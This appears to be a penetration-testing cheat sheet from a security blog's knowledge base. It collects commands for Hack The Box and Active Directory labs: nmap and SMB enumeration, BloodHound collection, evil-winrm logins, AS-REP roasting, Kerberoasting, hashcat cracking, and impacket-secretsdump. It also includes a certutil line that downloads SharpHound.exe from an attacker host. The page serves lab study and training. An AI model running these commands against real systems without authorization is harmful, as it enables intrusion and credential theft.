KB - Command Reference
Overview
Welcome to the MidwestSec Knowledge Base (KB).
This KB article serves as a central reference for commands that I frequently use throughout my Hack The Box walkthroughs and Active Directory labs. Rather than searching through multiple walkthroughs, this page provides a single location for the commands I use most often.
As additional walkthroughs are published, this KB article will continue to grow with new commands, techniques, and examples.
All examples assume you are working in an authorized lab or penetration testing environment.
Enumeration
Nmap
nmap -A -p- -T4 [IP]Example:
nmap -A -p- -T4 10.129.1.45SMB
List shares:
smbclient -L \\\\[IP]Connect:
smbclient \\\\[IP]\\[SHARE]Active Directory
Collect BloodHound data:
bloodhound-python -d [DOMAIN] -u [USER] -p [PASSWORD] -ns [DC IP] -c ALLWinRM
Password:
evil-winrm -i [IP] -u [USER] -p [PASSWORD]Hash:
evil-winrm -i [IP] -u [USER] -H [HASH]Certificate:
evil-winrm -i [IP] -S -c certificate.pem -k private-key.pemCredential Attacks
AS-REP Roast
netexec ldap [DC IP] -u users.txt -p '' --asreproast hashes.txt --kdcHost [DC IP]Kerberoast
GetUserSPNs.py [DOMAIN]/[USER]:[PASSWORD] -dc-ip [DC IP] -requestHashcat
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txtFile Transfer
python3 -m http.server 80impacket-smbserver share . -smb2supportcertutil -urlcache -f http://[ATTACKER IP]/SharpHound.exe SharpHound.exeQuick Reference
nmap -A -p- -T4 [IP]
enum4linux -a [IP]
smbclient -L \\\\[IP]
bloodhound-python -d [DOMAIN] -u [USER] -p [PASSWORD] -ns [DC IP] -c ALL
evil-winrm -i [IP] -u [USER] -p [PASSWORD]
impacket-secretsdump [DOMAIN]/[USER]:[PASSWORD]@[DC IP]About this KB
This article is part of the MidwestSec Knowledge Base (KB).
Future KB articles will include:
- Active Directory
- BloodHound
- PowerShell
- Windows
- Linux
- Networking
- Tool-specific references
- Cheatsheets
- Methodologies